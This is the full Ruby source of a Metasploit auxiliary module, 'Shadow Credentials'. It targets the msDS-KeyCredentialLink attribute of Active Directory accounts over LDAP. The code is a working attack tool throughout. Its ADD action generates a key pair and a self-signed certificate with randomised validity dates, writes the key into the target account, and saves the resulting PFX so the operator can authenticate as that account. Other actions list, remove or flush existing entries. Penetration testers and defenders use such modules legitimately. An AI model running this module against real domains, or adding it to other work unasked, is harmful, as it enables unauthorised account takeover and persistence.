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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Auxiliary::Report
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  include Msf::Exploit::Remote::LDAP
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  include Msf::OptionalSession::LDAP
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  ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Shadow Credentials',
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        'Description' => %q{
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          This module can read and write the necessary LDAP attributes to configure a particular account with a
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          Key Credential Link. This allows weaponising write access to a user account by adding a certificate
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          that can subsequently be used to authenticate. In order for this to succeed, the authenticated user
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          must have write access to the target object (the object specified in TARGET_USER).
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        },
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        'Author' => [
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          'Elad Shamir', # Original research
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          'smashery' # module author
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        ],
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        'References' => [
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          ['URL', 'https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab'],
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          ['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials']
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        ],
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        'License' => MSF_LICENSE,
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        'Actions' => [
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          ['FLUSH', { 'Description' => 'Delete all certificate entries' }],
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          ['LIST', { 'Description' => 'Read all credentials associated with the account' }],
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          ['REMOVE', { 'Description' => 'Remove matching certificate entries from the account object' }],
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          ['ADD', { 'Description' => 'Add a credential to the account' }]
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        ],
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        'DefaultAction' => 'LIST',
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        'Notes' => {
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          'Stability' => [],
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          'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, ADD all make changes
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          'Reliability' => []
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        }
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      )
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    )
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    register_options([
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      OptString.new('TARGET_USER', [ true, 'The target to write to' ]),
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      OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]),
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    ])
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  end
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  def fail_with_ldap_error(message)
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    ldap_result = @ldap.get_operation_result.table
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    return if ldap_result[:code] == 0
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    print_error(message)
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    if ldap_result[:code] == 16
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      fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.')
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    else
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      validate_query_result!(ldap_result)
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    end
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  end
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  def warn_on_likely_user_error
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    ldap_result = @ldap.get_operation_result.table
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    if ldap_result[:code] == 50
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      if (datastore['USERNAME'] == datastore['TARGET_USER'] ||
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          datastore['USERNAME'] == datastore['TARGET_USER'] + '$') &&
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         datastore['USERNAME'].end_with?('$') &&
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         ['add', 'remove'].include?(action.name.downcase)
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        print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')
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      elsif datastore['USERNAME'] == datastore['TARGET_USER'] && !datastore['USERNAME'].end_with?('$')
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        print_warning('By default, only computer accounts can modify their own properties (not user accounts).')
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      end
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    end
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  end
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  def ldap_get(filter, attributes: [])
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    raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes).first
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    return nil unless raw_obj
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    obj = {}
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    obj['dn'] = raw_obj['dn'].first.to_s
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    unless raw_obj['sAMAccountName'].empty?
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      obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s
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    end
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    unless raw_obj['ObjectSid'].empty?
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      obj['ObjectSid'] = Rex::Proto::MsDtyp::MsDtypSid.read(raw_obj['ObjectSid'].first)
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    end
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    unless raw_obj[ATTRIBUTE].empty?
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      result = []
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      raw_obj[ATTRIBUTE].each do |entry|
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        dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry)
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        struct = Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(dn_binary.data)
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        result.append(Rex::Proto::MsAdts::KeyCredential.from_struct(struct))
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      end
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      obj[ATTRIBUTE] = result
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    end
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    obj
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  end
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  def run
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    ldap_connect do |ldap|
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      validate_bind_success!(ldap)
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      if (@base_dn = datastore['BASE_DN'])
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        print_status("User-specified base DN: #{@base_dn}")
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      else
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        print_status('Discovering base DN automatically')
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        if (@base_dn = ldap.base_dn)
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          print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
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        else
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          print_warning("Couldn't discover base DN!")
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        end
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      end
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      @ldap = ldap
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      begin
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        target_user = datastore['TARGET_USER']
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        obj = ldap_get("(sAMAccountName=#{target_user})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
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        if obj.nil? && !target_user.end_with?('$')
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          obj = ldap_get("(sAMAccountName=#{target_user}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
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        end
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        fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_user}") unless obj
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        send("action_#{action.name.downcase}", obj)
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      rescue ::IOError => e
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        fail_with(Failure::UnexpectedReply, e.message)
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      end
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    end
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  rescue Errno::ECONNRESET
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    fail_with(Failure::Disconnected, 'The connection was reset.')
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  rescue Rex::ConnectionError => e
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    fail_with(Failure::Unreachable, e.message)
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  rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
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    fail_with(Failure::NoAccess, e.message)
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  rescue Net::LDAP::Error => e
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    fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
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  end
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  def action_list(obj)
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    credential_entries = obj[ATTRIBUTE]
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    if credential_entries.nil?
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      print_status("The #{ATTRIBUTE} field is empty.")
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      return
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    end
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    print_status('Existing credentials:')
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    credential_entries.each do |credential|
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      print_status("DeviceID: #{credential.device_id} - Created #{credential.key_creation_time}")
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    end
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  end
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  def action_remove(obj)
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    credential_entries = obj[ATTRIBUTE]
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    if credential_entries.nil? || credential_entries.empty?
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      print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
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      return
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    end
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    length_before = credential_entries.length
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    credential_entries.delete_if { |entry| entry.device_id.to_s == datastore['DEVICE_ID'] }
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    if credential_entries.length == length_before
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      print_status('No matching entries found - check device ID')
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    else
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      update_list = credentials_to_ldap_format(credential_entries, obj['dn'])
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      unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list)
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        warn_on_likely_user_error
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        fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
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      end
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      print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}")
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    end
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  end
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  def action_flush(obj)
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    unless obj[ATTRIBUTE]
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      print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
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      return
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    end
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    unless @ldap.delete_attribute(obj['dn'], ATTRIBUTE)
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      fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")
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    end
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    print_good("Successfully deleted the #{ATTRIBUTE} attribute.")
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  end
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  def action_add(obj)
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    credential_entries = obj[ATTRIBUTE]
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    if credential_entries.nil?
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      credential_entries = []
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    end
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    key, cert = generate_key_and_cert(datastore['TARGET_USER'])
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    credential = Rex::Proto::MsAdts::KeyCredential.new
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    credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)
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    now = ::Time.now
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    credential.key_approximate_last_logon_time = now
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    credential.key_creation_time = now
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    credential_entries.append(credential)
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    update_list = credentials_to_ldap_format(credential_entries, obj['dn'])
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    unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list)
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      warn_on_likely_user_error
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      fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
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    end
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    pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)
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    store_cert(pkcs12)
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    print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")
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  end
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  def store_cert(pkcs12)
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    service_data = ldap_service_data
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    credential_data = {
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      **service_data,
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      address: service_data[:host],
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      port: rport,
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      protocol: service_data[:proto],
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      service_name: service_data[:name],
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      workspace_id: myworkspace_id,
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      username: datastore['TARGET_USER'],
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      private_type: :pkcs12,
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      # pkcs12 is a binary format, but for persisting we Base64 encode it
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      private_data: Base64.strict_encode64(pkcs12.to_der),
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      origin_type: :service,
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      module_fullname: fullname
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    }
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    create_credential(credential_data)
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    info = "#{datastore['DOMAIN']}\\#{datastore['TARGET_USER']} Certificate"
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    stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
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    print_status("Certificate stored at: #{stored_path}")
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  end
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  def ldap_service_data
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    {
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      host: rhost,
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      port: rport,
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      proto: 'tcp',
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      name: 'ldap',
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      info: "Module: #{fullname}, #{datastore['LDAP::AUTH']} authentication"
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    }
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  end
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  def credentials_to_ldap_format(entries, dn)
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    entries.map do |entry|
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      struct = entry.to_struct
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      dn_binary = Rex::Proto::LDAP::DnBinary.new(dn, struct.to_binary_s)
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      dn_binary.encode
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    end
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  end
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  def generate_key_and_cert(subject)
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    key = OpenSSL::PKey::RSA.new(2048)
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    cert = OpenSSL::X509::Certificate.new
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    cert.public_key = key.public_key
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    cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])
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    cert.subject = OpenSSL::X509::Name.new([['CN', subject]])
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    yr = 24 * 3600 * 365
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    cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)
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    cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))
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    cert.sign(key, OpenSSL::Digest.new('SHA256'))
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    [key, cert]
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  end
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end
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